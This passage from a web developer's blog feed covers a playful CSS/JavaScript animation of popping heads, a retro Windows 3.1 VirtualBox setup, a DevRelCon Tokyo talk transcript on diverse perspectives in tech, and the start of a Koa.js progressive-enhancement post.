&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;:root {
  --tx: 0;
  --ty: 0;
}

.nonsense {
  position: relative;
  width: 100vw;
  height: 100vh;
  z-index: 1;
  text-align: initial;
}

[class^=&amp;quot;chris&amp;quot;] {
  position: absolute;
}

.chris-top {
  transform: translate(var(--tx, 0), -100%) rotate(180deg);
}

.chris-right {
  transform: translate(calc(100vw + 1em), var(--ty, 0)) rotate(-90deg);
}

.chris-bottom {
  transform: translate(var(--tx, 0), 100vh) rotate(0deg);
}

.chris-left {
  transform: translate(calc(-100% - 1em), var(--ty, 0)) rotate(90deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, there are some CSS custom properties involved. Because I wanted an easier way to introduce the random positioning element, and I thought &lt;code&gt;style.setProperty&lt;/code&gt; was a convenient way to do it.&lt;/p&gt;
&lt;p&gt;So the nice part about transform functions is that you can use &lt;code&gt;calc()&lt;/code&gt; functions within them, though it doesn&apos;t work entirely right in Internet Explorer and if you need to support that, &lt;a href=&quot;https://www.saninnsalas.com/using-calc-inside-css3-transform-in-internet-explorer/&quot;&gt;a workaround&lt;/a&gt; is in order.&lt;/p&gt;
&lt;p&gt;Also, when using CSS custom properties, the second parameter passed into the &lt;code&gt;var()&lt;/code&gt; syntax is a fallback in case the custom property value somehow &lt;strong&gt;fails to compute&lt;/strong&gt;. It is, however, &lt;strong&gt;not&lt;/strong&gt; going to work if the browser doesn&apos;t support CSS custom properties at all.&lt;/p&gt;
&lt;p&gt;This initial set of styles position all 4 Chris heads just out of the viewport. The idea is to have a function trigger every 20 seconds to add the &lt;code&gt;.active&lt;/code&gt; class randomly on 1 of the Chris heads at a time. The &lt;code&gt;.active&lt;/code&gt; class would run an animation effect that translates the head back into the viewport.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.chris-top.active {
  animation: popdown 4000ms ease;
}

.chris-right.active {
  animation: popleft 4000ms ease;
}

.chris-bottom.active {
  animation: popup 4000ms ease;
}

.chris-left.active {
  animation: popright 4000ms ease;
}

@keyframes popdown {
  50% {
    transform: translate(var(--tx, 0), 0) rotate(180deg);
  }
}

@keyframes popleft {
  50% {
    transform: translate(calc(100vw - 100%), var(--ty, 0)) rotate(-90deg);
  }
}

@keyframes popup {
  50% {
    transform: translate(var(--tx, 0), calc(100vh - 100%)) rotate(0deg);
  }
}

@keyframes popright {
  50% {
    transform: translate(0, var(--ty, 0)) rotate(90deg);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JavaScript-y bits&lt;/h3&gt;
&lt;p&gt;There&apos;s probably a neater way to write this function, but I&apos;m a lazy person. So this is it. Behold, the Chris Script (trademark pending)!&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;(function () {
  const chrisHeads = document.getElementsByClassName(&amp;quot;jsChris&amp;quot;);
  const nonsense = document.getElementById(&amp;quot;nonsense&amp;quot;);
  var lastActiveHead = null;

  function headAppear() {
    // the bit that does the random positioning
    nonsense.style.setProperty(&amp;quot;--tx&amp;quot;, Math.floor(Math.random() * 100) + 0 + &amp;quot;vw&amp;quot;);
    nonsense.style.setProperty(&amp;quot;--ty&amp;quot;, Math.floor(Math.random() * 100) + 0 + &amp;quot;vh&amp;quot;);

    // the bit that randomly assigns the .active class
    if (lastActiveHead) lastActiveHead.classList.toggle(&amp;quot;active&amp;quot;);
    const random = Math.floor(Math.random() * (chrisHeads.length - 1)) + 0;
    const randomHead = chrisHeads[random];
    randomHead.classList.toggle(&amp;quot;active&amp;quot;);
    lastActiveHead = randomHead;

    // the bit that determines how long before a Chris head pops out
    setTimeout(headAppear, 20000);
  }
  headAppear();
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I do have some extra time on my hands, I&apos;ll think about how to refactor this thing to work with only 1 Chris head in the DOM. But for now, this implementation seems to serve its purpose.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I don&apos;t know what the useful takeaway is here, other than CSS custom properties provide a really convenient way for JavaScript to hook into CSS. And that I tend to do many useless things with my time, but it was fun though, and isn&apos;t that kinda important? (I also had to Google how to spell convenient multiple times, shhhh… don&apos;t tell everyone)&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/chris-script/chris-script-480.jpg 480w, /images/posts/chris-script/chris-script-640.jpg 640w, /images/posts/chris-script/chris-script-960.jpg 960w, /images/posts/chris-script/chris-script-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/chris-script/chris-script-640.jpg&quot; alt=&quot;Chris is watching you&quot;&gt;</content:encoded></item><item><title>Windows 3.1, a walk down memory lane</title><link>https://chenhuijing.com/blog/a-windows-3-1-revival/</link><guid isPermaLink="true">https://chenhuijing.com/blog/a-windows-3-1-revival/</guid><description>Welcome to yet another edition of Hui Jing doing things that have no practical use but do it anyway because why the hell not? In local parlance, we call this…</description><pubDate>Wed, 20 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Welcome to yet another edition of Hui Jing doing things that have no practical use but do it anyway because why the hell not? In local parlance, we call this “shiok sendiri”, you can google that.&lt;/p&gt;
&lt;p&gt;So my good friend and fellow retro-tech enthusiast, &lt;a href=&quot;http://yeokhengmeng.com/&quot;&gt;Kheng Meng&lt;/a&gt;, did me a solid and agreed to my hare-brained scheme for Talk.CSS #39. The idea was to run an original version of Windows 3.1 on his IBM ThinkPad 390 and load up Internet Explorer 3. Why IE3? Because it was &lt;a href=&quot;https://www.w3.org/Style/CSS/msie/&quot;&gt;the first commercial browser&lt;/a&gt; to support CSS.&lt;/p&gt;
&lt;p&gt;Harebrained scheme as follows: Kheng Meng to provide the hardware and cover sysadmin responsibilities, while I build a site that loads up and displays well (as well as IE3 can muster), which is progressively enhanced for modern browsers.&lt;/p&gt;
&lt;img src=&quot;/images/posts/win31/chat.jpg&quot; srcset=&quot;/images/posts/win31/chat@2x.jpg 2x&quot; alt=&quot;Where I say the words IE5 is too advanced&quot;&gt;
&lt;p&gt;The additional catch is that I will NOT test on the machine until the day itself. So this will either be spectacular or fail spectacularly. I&apos;m leaning toward the latter but either way, loads of fun. If you&apos;re in Singapore on 22 May, 2019, come see this ridiculous idea live. Details on &lt;a href=&quot;https://www.meetup.com/SingaporeCSS/events/259235992/&quot;&gt;meetup.com&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Nostalgia kicks in&lt;/h2&gt;
&lt;p&gt;Kheng Meng, being his highly efficient self, had everything up and running within a week, I think. And he gamely lugged the estimated 7kg worth of hardware over to the &lt;a href=&quot;https://www.meetup.com/Hackware/&quot;&gt;Hackware meetup&lt;/a&gt; (where he talked about his experience getting his pilot&apos;s license, &lt;a href=&quot;https://youtu.be/GtT5wCYhZBA&quot;&gt;video here&lt;/a&gt;) for me to play with!&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/win31/proof-480.jpg 480w, /images/posts/win31/proof-640.jpg 640w, /images/posts/win31/proof-960.jpg 960w, /images/posts/win31/proof-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/win31/proof-640.jpg&quot; alt=&quot;Proof that IE3 version 3.03 SP1 was installed&quot;&gt;
&lt;p&gt;He already installed IE3, &lt;a href=&quot;https://winworldpc.com/product/netscape-navigator/40x&quot;&gt;Netscape Navigator&lt;/a&gt; and Opera, but also included fun stuff, like &lt;a href=&quot;https://ski.ihoc.net/&quot;&gt;SkiFree&lt;/a&gt;. If you don&apos;t know what SkiFree is, well, too bad, you missed out on hours of fun. This immediately triggered a lot of childhood memories, which were mostly games, to be honest.&lt;/p&gt;
&lt;p&gt;Eventually, I decided to run my own copy of Windows 3.1 via VirtualBox so I could get access to the original &lt;a href=&quot;&quot;&gt;Windows Entertainment Pack&lt;/a&gt; games. Again, if you have no idea what those are, you missed out. Good thing FOMO wasn&apos;t a thing back then, eh?&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/win31/skifree-480.jpg 480w, /images/posts/win31/skifree-640.jpg 640w, /images/posts/win31/skifree-960.jpg 960w, /images/posts/win31/skifree-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/win31/skifree-640.jpg&quot; alt=&quot;SkiFree on my virtual Windows 3.1&quot;&gt;
&lt;h2&gt;Windows 3.1 on VirtualBox&lt;/h2&gt;
&lt;p&gt;I found 2 solid tutorials covering end-to-end instructions for getting Windows 3.1 up and running well on VirtualBox. One is by Josh from Ballarat, Australia, who runs the awesome blog &lt;a href=&quot;https://socket3.wordpress.com/&quot;&gt;Socket 3&lt;/a&gt;, full of vintage goodness.&lt;/p&gt;
&lt;p&gt;The article is &lt;a href=&quot;https://socket3.wordpress.com/2016/08/25/install-configure-ms-dos-6-22-and-windows-3-1-using-oracle-virtualbox/&quot;&gt;Install &amp;amp; Configure MS-DOS 6.22 &amp;amp; Windows 3.1 using Oracle VirtualBox&lt;/a&gt;, and I pretty much had no issues with it at all except for the networking bit. After some googling, I think it might be because my host PC name was way too long.&lt;/p&gt;
&lt;p&gt;Apparently the PC name has to be less than 8 characters but maybe it was 15 and under? I don&apos;t know. So in spite of having everything set up nicely, with my games installed and everything. I nuked it and tried again with &lt;a href=&quot;https://winworldpc.com/product/windows-3/wfw-311&quot;&gt;Windows 3.1 for Workgroups&lt;/a&gt; instead the second time round.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note, links to the disk images will be provided at the end&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Follow all the instructions up to the point where the networking options kick in. Follow what you can from the original tutorial, and if you use the &lt;em&gt;AMD PCNET Network Drivers.img&lt;/em&gt; file included, note that the location of the driver is in &lt;em&gt;A:\WFW31&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After some virtual swapping of installation floppy disks, things should be up and running. Though don&apos;t worry if you run into all kinds of X.EXT file not found issues, because I sure did.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/win31/desktop-480.jpg 480w, /images/posts/win31/desktop-640.jpg 640w, /images/posts/win31/desktop-960.jpg 960w, /images/posts/win31/desktop-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/win31/desktop-640.jpg&quot; alt=&quot;The classic Windows 3.1 Program Manager&quot;&gt;
&lt;p&gt;Once Windows is installed and proven to be running properly, you can add in the fun stuff outlined in the tutorial, including a better graphics driver (which makes the screen bigger), and the well-loved TADA start up tune.&lt;/p&gt;
&lt;p&gt;For the CD-ROM driver, I got it to work by following instructions from &lt;a href=&quot;https://twitter.com/_roguerobot&quot;&gt;Chris Sprague&lt;/a&gt; titled &lt;a href=&quot;http://blog.chaoscontrol.org/install-ms-dos-6-22-in-a-virtual-machine-for-fun-and-profit/&quot;&gt;Install MS-DOS 6.22 in a Virtual Machine for Fun and Profit&lt;/a&gt;. Grab the driver from his link and load it up like all the other installation disks you&apos;ve used thus far.&lt;/p&gt;
&lt;h2&gt;Windows Entertainment Pack&lt;/h2&gt;
&lt;p&gt;This was pretty much my favourite thing way back when, you know, when attention spans were actually more than 5 minutes long. Anyway, I played Tetris until I could see blocks falling when I closed my eyes at some point.&lt;/p&gt;
&lt;p&gt;But some of the other games were pretty time-wastey too, if you get it up and running, be sure to give RattlerRace and Rodent&apos;s Revenge a go. You&apos;d be surprised at how addicting they can be. In fact, the suite of games from Windows Entertainment Pack ate up plenty of my childhood.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/win31/games-480.jpg 480w, /images/posts/win31/games-640.jpg 640w, /images/posts/win31/games-960.jpg 960w, /images/posts/win31/games-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/win31/games-640.jpg&quot; alt=&quot;RattlerRace and Rodent&apos;s Revenge on my virtual Windows 3.1&quot;&gt;
&lt;p&gt;If you install the second Windows Entertainment Pack, you also get this early version of what eventually would become the game Microsoft Mahjong, that was most likely based off the original 1981 classic, &lt;a href=&quot;https://tedium.co/2017/11/15/mahjong-shanghai-brodie-lockard/&quot;&gt;Mah-jongg by Brodie Lockhart&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Also, SkiFree in all it&apos;s pixeley glory. This I had to copy onto a blank floppy disk image, then install it from &lt;em&gt;A:\&lt;/em&gt; because isn&apos;t that how we all installed games in the past? Now if I could only remember what that golf game I used to play was called…&lt;/p&gt;
&lt;h2&gt;Links&lt;/h2&gt;
&lt;p&gt;These are the installation sources I used that worked for me. If somehow something doesn&apos;t work for you, unfortunately, you&apos;ll probably have to do some googling for alternate installation floppy images. Hopefully it doesn&apos;t come to that.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://winworldpc.com/library/operating-systems&quot;&gt;WinWorld&lt;/a&gt; for links to OS, Entertainment Pack&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;/assets/files/svga-drivers.zip&quot;&gt;ET4000 SVGA video driver&lt;/a&gt;, obtained from Josh’s site&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;/assets/files/sb16.zip&quot;&gt;SoundBlaster 16 sound driver&lt;/a&gt;, obtained from Josh’s site&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/assets/files/cdrom-driver.img&quot;&gt;CD-ROM driver&lt;/a&gt;, obtained from Chris’s site&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>The value of sharing our perspectives</title><link>https://chenhuijing.com/blog/the-value-of-sharing-our-perspectives/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-value-of-sharing-our-perspectives/</guid><description>I just got home from DevRelCon Tokyo, which was my first DevRel conference ever. It was a really valuable experience for me to hear other DevRel folk share…</description><pubDate>Mon, 11 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I just got home from &lt;a href=&quot;https://tokyo-2019.devrel.net/&quot;&gt;DevRelCon Tokyo&lt;/a&gt;, which was my first DevRel conference ever. It was a really valuable experience for me to hear other DevRel folk share their experiences and knowledge about the many aspects to Developer Relations, from documentation to community building to client SDKs and more.&lt;/p&gt;
&lt;p&gt;This is a sort of transcript of a lightning talk I did. (More details about that idea itself after that if you&apos;re interested &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grimacing face&quot;&gt;😬&lt;/span&gt;)&lt;/p&gt;
&lt;h2&gt;Transcript start…&lt;/h2&gt;
&lt;p&gt;This morning I read an article, &lt;a href=&quot;https://www.theguardian.com/lifeandstyle/2019/feb/23/truth-world-built-for-men-car-crashes&quot;&gt;The deadly truth about a world built for men – from stab vests to car crashes&lt;/a&gt;. And it opened with an anecdote about broadcaster Sandi Toksvig’s experience while studying anthropology in University.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devrelcontyo19/slide2-480.jpg 480w, /images/posts/devrelcontyo19/slide2-640.jpg 640w, /images/posts/devrelcontyo19/slide2-960.jpg 960w, /images/posts/devrelcontyo19/slide2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devrelcontyo19/slide2-640.jpg&quot; alt=&quot;Slide #2&quot;&gt;
&lt;p&gt;Her female professor showed the class a photo of an antler bone with 28 markings on it. She told the class that it was allegedly man’s first attempt at a calendar. And while her students were admiring this antler bone, she continued, “Tell me, what man needs to know when 28 days have passed? I suspect that this is woman’s first attempt at a calendar.”&lt;/p&gt;
&lt;p&gt;The article goes on to talk about how the world was designed from a man’s perspective, examples from healthcare, the design of tools and protective equipment, the gadgets we use, voice recognition software and so on. There are physiological differences between men and women, and many of the things we use in our daily lives are just a little to big for women, just a little too heavy, just a little too male.&lt;/p&gt;
&lt;p&gt;In our industry, the tech industry, the predominant perspective is unfortunately, young, white and male. There are many historical factors that have contributed to this situation we have now, and it’s a situation that needs course correction.&lt;/p&gt;
&lt;p&gt;My name is Chen Hui Jing and I’m from Malaysia.&lt;/p&gt;
&lt;p&gt;I’m a &lt;a href=&quot;https://developer.nexmo.com/&quot;&gt;developer advocate with Nexmo&lt;/a&gt; and am currently based out of Singapore. For me, I grew up speaking Hokkien, English and Chinese.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devrelcontyo19/slide6-480.jpg 480w, /images/posts/devrelcontyo19/slide6-640.jpg 640w, /images/posts/devrelcontyo19/slide6-960.jpg 960w, /images/posts/devrelcontyo19/slide6-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devrelcontyo19/slide6-640.jpg&quot; alt=&quot;Slide #6&quot;&gt;
&lt;p&gt;Southeast Asia is made up of 11 countries and 10 of them had been colonised by European powers in the past. When I was a kid, I always got the feeling that our society viewed Westerners as “better”. We watched television shows and movies produced in Hollywood, listened to English pop music, played American-made video games.&lt;/p&gt;
&lt;p&gt;And as I was growing up, I wondered why we knew so much about these Western powers, but they didn’t know anything about us. Why are we so surprised and impressed when a Westerner speaks our language, but we don’t have the same admiration for locals who speak English?&lt;/p&gt;
&lt;p&gt;Please note that I have nothing against English, I recognise the benefit of having a so-called global language that facilitates communication amongst all the world’s people. But when only a small number perspectives dominate over others, we lose something as well.&lt;/p&gt;
&lt;p&gt;For example, print technology. When we talk about printing, many people immediately think about Gutenberg and the printing press. It is less known outside of East Asia, that the first moveable type emerged from China.&lt;/p&gt;
&lt;p&gt;It was invented by an ordinary citizen, Bi Sheng, &lt;a href=&quot;https://books.google.com.sg/books?id=d__HBAAAQBAJ&amp;amp;pg=PA210&amp;amp;lpg=PA210&amp;amp;dq=bi+sheng+qingli&amp;amp;source=bl&amp;amp;ots=cxei9hrAc6&amp;amp;sig=ACfU3U3VAQaAtbC0asOqUai2uTaW60Jarg&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ved=2ahUKEwjS5p7-mvngAhX58HMBHeJbD0cQ6AEwCnoECAkQAQ#v=onepage&amp;amp;q=bi%20sheng%20qingli&amp;amp;f=false&quot;&gt;during the Qingli reign from 1041-1048&lt;/a&gt;. Korea adopted Bi Sheng&apos;s idea of moveable-type printing during the Kingdom of Goryeo and brought it to new heights &lt;a href=&quot;https://books.google.com.sg/books?redir_esc=y&amp;amp;id=9sawofv6lJsC&amp;amp;q=printing+joseon#v=snippet&amp;amp;q=printing%20joseon&amp;amp;f=false&quot;&gt;during the Kingdom of Joseon&lt;/a&gt;. All this happened way before Gutenberg.&lt;/p&gt;
&lt;p&gt;The stories being told matter. Who tells these stories matter as well.&lt;/p&gt;
&lt;p&gt;Moveable type worked very well for alphabetic languages, with a limited set of alphabets that could be combined to form words, sentences and paragraphs. But there are plenty of scripts like Arabic and Devanagari, where the letterforms are different depending on its position in the word.&lt;/p&gt;
&lt;p&gt;Or scripts that utilise Han characters, like Chinese, Japanese and Korean, which consist of tens of thousands of different glyphs. We managed to develop some form of letter-press printing, but in doing so, we compromised the beauty of our native scripts.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devrelcontyo19/slide10-480.jpg 480w, /images/posts/devrelcontyo19/slide10-640.jpg 640w, /images/posts/devrelcontyo19/slide10-960.jpg 960w, /images/posts/devrelcontyo19/slide10-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devrelcontyo19/slide10-640.jpg&quot; alt=&quot;Slide #10&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/alispivak&quot;&gt;Ali Spivak&lt;/a&gt; mentioned this morning that diversity is about variety, the inclusion of different types of people in a group or organisation. Diversity of thought, perspective, culture. The importance of regional representation, that it is vital speakers represent the diverse range of people working in technology today.&lt;/p&gt;
&lt;p&gt;Voice recognition software has become more prevalent in recent years, we have Siri, Alexa, Cortana and so on. But Rachael Tatman, a linguist researcher and National Science Foundation Graduate Research Fellow at the University of Washington, found that automatic transcriptions on Youtube were almost &lt;a href=&quot;https://www.dailydot.com/debug/google-voice-recognition-gender-bias/&quot;&gt;70% more accurate&lt;/a&gt; for male speakers than female.&lt;/p&gt;
&lt;p&gt;And when the auto industry started implementing voice commands in vehicles, women had a &lt;a href=&quot;https://web.archive.org/web/20190718220949/https://www.autoblog.com/2011/05/31/women-voice-command-systems/&quot;&gt;tougher time utilising this technology&lt;/a&gt; than men.&lt;/p&gt;
&lt;p&gt;Training of such software requires large datasets, and developers who build them either record their own voices or voices of other linguistic researches, but sometimes these datasets don’t include diverse speakers.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devrelcontyo19/slide12-480.jpg 480w, /images/posts/devrelcontyo19/slide12-640.jpg 640w, /images/posts/devrelcontyo19/slide12-960.jpg 960w, /images/posts/devrelcontyo19/slide12-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devrelcontyo19/slide12-640.jpg&quot; alt=&quot;Slide #12&quot;&gt;
&lt;p&gt;Mozilla has a &lt;a href=&quot;https://voice.mozilla.org/&quot;&gt;Common Voice initiative&lt;/a&gt; to help combat this issue. But this is just one example among many in the tech industry where products inadvertently end up working well only for a small set of people, while the rest have a compromised experience.&lt;/p&gt;
&lt;p&gt;The world is full of diverse cultures and because our cultures are different, we value different things. We cannot wait for organisations and companies, like Mozilla, to cater their products to us, because most of them don’t. Often it is not because they want to ignore us, but because they are not conciously aware of us.&lt;/p&gt;
&lt;p&gt;I recently watched a TED talk by Nigerian author &lt;a href=&quot;https://www.chimamanda.com/&quot;&gt;Chimamanda Ngozi Adichie&lt;/a&gt;, on &lt;a href=&quot;https://www.ted.com/talks/chimamanda_adichie_the_danger_of_a_single_story?language=en&quot;&gt;the danger of a single story&lt;/a&gt;. Having just a single story of an entire group of people, an entire nation, is a dangerous thing. And I completely agree with her when she said, “by showing a people as one thing, and only one thing, over and over again, and that is what they become.”&lt;/p&gt;
&lt;p&gt;We, and I say we as an Asian person who grew up in an Eastern culture, generally don’t really speak up. Public speaking is challenging for everyone, regardless of where they come from, but I think it’s especially hard for people from Eastern cultures. Often times, I get the feeling of, what I’m doing isn’t that great, or who am I to stand in front of other people, like yourselves, and talk about what I do?&lt;/p&gt;
&lt;p&gt;But then you have this small group of young, white men in tech who demand that their voices be heard, they write all kinds of blog posts and articles, speak publicly and loudly about the work they are doing, how awesome they are and so on. And this builds a false impression that this is what the world is like.&lt;/p&gt;
&lt;p&gt;It is high time that we start sharing our perspectives, all our different perspectives. Because even though it is not something that most of us are naturally conditioned to do, there is value in contributing our perspectives to the world.&lt;/p&gt;
&lt;p&gt;Are there any web developers in the audience today?&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devrelcontyo19/slide15-480.jpg 480w, /images/posts/devrelcontyo19/slide15-640.jpg 640w, /images/posts/devrelcontyo19/slide15-960.jpg 960w, /images/posts/devrelcontyo19/slide15-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devrelcontyo19/slide15-640.jpg&quot; alt=&quot;Slide #15&quot;&gt;
&lt;p&gt;Back in 2016, there was a WIRED article titled &lt;a href=&quot;https://www.wired.com/2016/04/average-webpage-now-size-original-doom/&quot;&gt;The Average Webpage Is Now the Size of the Original Doom&lt;/a&gt;, which was 2.39mb.&lt;/p&gt;
&lt;p&gt;Now, internet infrastructure varies widely across the world, but in many developing countries, data infrastructure is lacking and expensive. Even something as benign as forgetting to optimise your website’s images, can add up to a &lt;a href=&quot;https://whatdoesmysitecost.com/test/190309_GM_bfbaa548cc68a4d116e4084ca6f6e8eb&quot;&gt;significant portion of an user’s income&lt;/a&gt; in Niger or Madagascar, for example.&lt;/p&gt;
&lt;p&gt;That’s why it is important for developers from those regions, and every region around the world for that matter, to make their voices heard, and bring a greater awareness of the situations and contexts that we operate in.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/jreyesdev&quot;&gt;Jarod&lt;/a&gt; mentioned just now how important is was to for conferences to have minimum standards for diversity and inclusion, and that&apos;s a step in the right direction in terms of conference organisation. But there&apos;s also much work to be done from the side of speakers, and content creators in general.&lt;/p&gt;
&lt;p&gt;This is not something that will change overnight, but we have to start somewhere. Start by contributing to open-source projects, and pointing out if a particular feature or design decision is missing something. Start by writing about your work, your opinions and your stories, to show the rest of the world a different way of working and thinking.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/devrelcontyo19/slide18-480.jpg 480w, /images/posts/devrelcontyo19/slide18-640.jpg 640w, /images/posts/devrelcontyo19/slide18-960.jpg 960w, /images/posts/devrelcontyo19/slide18-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/devrelcontyo19/slide18-640.jpg&quot; alt=&quot;Slide #18&quot;&gt;
&lt;p&gt;And, even if it feels scary, to start speaking about what you’re working on, or things you’re interested in, because it matters to have people on stage who look like us, to inspire anyone who looks like you or identifies with you that they too have something valuable to say.&lt;/p&gt;
&lt;p&gt;Thank you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;End of transcript&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How the talk came about&lt;/h2&gt;
&lt;p&gt;DevRelCon Tokyo had a lightning track this year and they took submissions all the way till lunch time on the day of the conference. Before I got to the venue that morning, I read an article on Guardian about &lt;a href=&quot;https://www.theguardian.com/lifeandstyle/2019/feb/23/truth-world-built-for-men-car-crashes&quot;&gt;how the world is built for men&lt;/a&gt;, which sometimes lead to deadly consequences for women.&lt;/p&gt;
&lt;p&gt;Somehow this was the article that triggered me to submit a lightning talk on the value of sharing our perspectives. “Our” in this context was those of us who grew up in an Eastern culture, but I think it can apply to anyone who isn&apos;t in a position of privilege.&lt;/p&gt;
&lt;p&gt;The talk did not exist when I wrote the topic on the Lightning Talk Submissions board that morning. But I think the ideas had taken shape in my brain over a long time.&lt;/p&gt;
&lt;img src=&quot;/images/posts/devrelcontyo19/dinner.jpg&quot; srcset=&quot;/images/posts/devrelcontyo19/dinner@2x.jpg 2x&quot; alt=&quot;Dinner with Tomomi, Myrsini and Melanie&quot;&gt;
&lt;p&gt;Just the night before, I was chatting with &lt;a href=&quot;https://girliemac.com/&quot;&gt;Tomomi Imura&lt;/a&gt; (NexmoDev alumni and one of my favourite people to hang out with) and she mentioned how difficult it was to get Japanese to do public speaking.&lt;/p&gt;
&lt;p&gt;I was also fresh off the experience of organising the Singapore chapter of &lt;a href=&quot;https://www.globaldiversitycfpday.com/&quot;&gt;global diversity CFP day&lt;/a&gt;, so maybe that was a factor as well. Regardless, this talk was an organisation of the many thoughts and opinions I&apos;ve had in my head for a while.&lt;/p&gt;
&lt;p&gt;That being said, I don&apos;t recommend pulling together a talk on the day itself, even if it is a lightning talk (maybe especially if it is a lightning talk, because of stricter time constraints). Thankfully, I received positive feedback about it and I think it was recorded, so I&apos;ll share that when it gets published as well. Meanwhile, have some &lt;a href=&quot;https://huijing.github.io/slides/52-devrelcon-2019/&quot;&gt;slides&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;br&gt;
Video has been released, and here it is! &lt;span class=&quot;kaomoji&quot;&gt;ヾ(＾ ᴗ ＾)ノ&lt;/span&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/m9Bp3GGKz8s&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;</content:encoded></item><item><title>An exercise in progressive enhancement</title><link>https://chenhuijing.com/blog/an-exercise-in-progressive-enhancement/</link><guid isPermaLink="true">https://chenhuijing.com/blog/an-exercise-in-progressive-enhancement/</guid><description>I&apos;ve had more opportunities to work on the server-side of things these past couple of months, specifically in Node.js, and Glitch has been an integral part of…</description><pubDate>Tue, 05 Mar 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve had more opportunities to work on the server-side of things these past couple of months, specifically in &lt;a href=&quot;https://nodejs.org/en/&quot;&gt;Node.js&lt;/a&gt;, and &lt;a href=&quot;https://glitch.com/&quot;&gt;Glitch&lt;/a&gt; has been an integral part of my learning process.&lt;/p&gt;
&lt;p&gt;A recent project I&apos;ve been tinkering with was a good use case for me to familiarise myself with the actual implementation of a site that works without JavaScript, but is enhanced by JavaScript when it is available.&lt;/p&gt;
&lt;p&gt;There are numerous articles that talk about the benefits of progressive enhancement, all of which I agree with, but as someone who hadn&apos;t had to worry too much about the server-side implementation of things, I had not written server-side code that catered for it before.&lt;/p&gt;
&lt;p&gt;This will be a write-up of my thought process and implementation details of my approach to progressive enhancement on a very small Koa.js to-do list application.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Disclaimer, this is not the prettiest code, odds are its not entirely best practice either. But it&apos;s a start, and can only get better from here.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;A basic Koa.js application on Glitch&lt;/h2&gt;
&lt;p&gt;If you&apos;re already using &lt;a href=&quot;https://glitch.com/&quot;&gt;Glitch&lt;/a&gt;, please &lt;a href=&quot;#skip-glitch&quot;&gt;skip all this&lt;/a&gt;. For people who have yet to discover the amazing platform that is Glitch, when you first land, you can choose what type of project you want to build. There are 3 presets, a simple website (no backend), a Node application and a Node application with a SQlite database. I went with the second option.&lt;/p&gt;
